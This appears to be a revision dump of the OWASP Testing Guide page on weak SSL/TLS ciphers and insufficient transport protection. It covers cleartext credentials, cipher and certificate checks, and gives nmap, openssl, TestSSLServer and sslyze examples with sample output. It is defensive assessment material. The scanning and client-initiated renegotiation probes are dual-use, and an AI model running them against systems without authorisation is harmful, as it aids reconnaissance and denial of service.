that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179061Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:36:15Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
